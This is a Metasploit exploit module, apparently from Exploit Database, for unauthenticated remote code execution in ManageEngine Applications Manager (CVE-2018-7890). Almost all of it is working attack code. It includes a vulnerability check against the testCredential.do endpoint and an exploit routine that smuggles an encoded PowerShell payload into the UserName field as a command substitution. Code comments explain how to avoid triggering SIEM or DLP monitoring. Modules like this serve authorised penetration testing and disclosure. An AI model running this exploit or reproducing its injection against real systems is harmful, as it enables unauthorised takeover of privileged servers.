Exploit Database

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine Applications Manager Remote Code Execution",
      'Description'    => %q{
        This module exploits command injection vulnerability in the ManageEngine Application Manager product.
        An unauthenticated user can execute a operating system command under the context of privileged user.

        Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials
        by accessing given system. This endpoint calls a several internal classes and then executes powershell script
        without validating user supplied parameter when the given system is OfficeSharePointServer.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
        ],
      'References'     =>
        [
          ['CVE', '2018-7890'],
          ['URL', 'https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/']
        ],
      'DefaultOptions'  =>
        {
          'WfsDelay' => 10,
          'RPORT' => 9090
        },
      'Payload' =>
        {
          'BadChars' => "\x22"
        },
      'Platform'       => ['win'],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Targets'         => [ ['Automatic', {}] ],
      'Privileged'     => true,
      'DisclosureDate' => 'Mar 7 2018',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the application', '/'])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'testCredential.do'),
      'vars_post' => {
        'method' => 'testCredentialForConfMonitors',
        'type' => 'OfficeSharePointServer',
        'montype' => 'OfficeSharePointServer',
        'isAgentEnabled' => 'NO',
        'isAgentAssociated' => 'false',
        'displayname' => Rex::Text.rand_text_alpha(10),
        'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems...
        'Version' => '2013',
        'Powershell' => 'True', # :-)
        'CredSSP' => 'False',
        'SPType' => 'SPServer',
        'CredentialDetails' => 'nocm',
        'Password' => Rex::Text.rand_text_alpha(3),
        'UserName' => Rex::Text.rand_text_alpha(3)
      }
    })
    if res && res.body.include?('Kindly check the credentials and try again')
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit

    powershell_options = {
      encode_final_payload: true,
      remove_comspec: true
    }
    p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)

    print_status('Triggering the vulnerability')

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'testCredential.do'),
      'vars_post' => {
        'method' => 'testCredentialForConfMonitors',
        'type' => 'OfficeSharePointServer',
        'montype' => 'OfficeSharePointServer',
        'isAgentEnabled' => 'NO',
        'isAgentAssociated' => 'false',
        'displayname' => Rex::Text.rand_text_alpha(10),
        'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems...
        'Version' => '2013',
        'Powershell' => 'True', # :-)
        'CredSSP' => 'False',
        'SPType' => 'SPServer',
        'CredentialDetails' => 'nocm',
        'Password' => Rex::Text.rand_text_alpha(3),
        'UserName' => "$(#{p})"
      }
    })

  end
end

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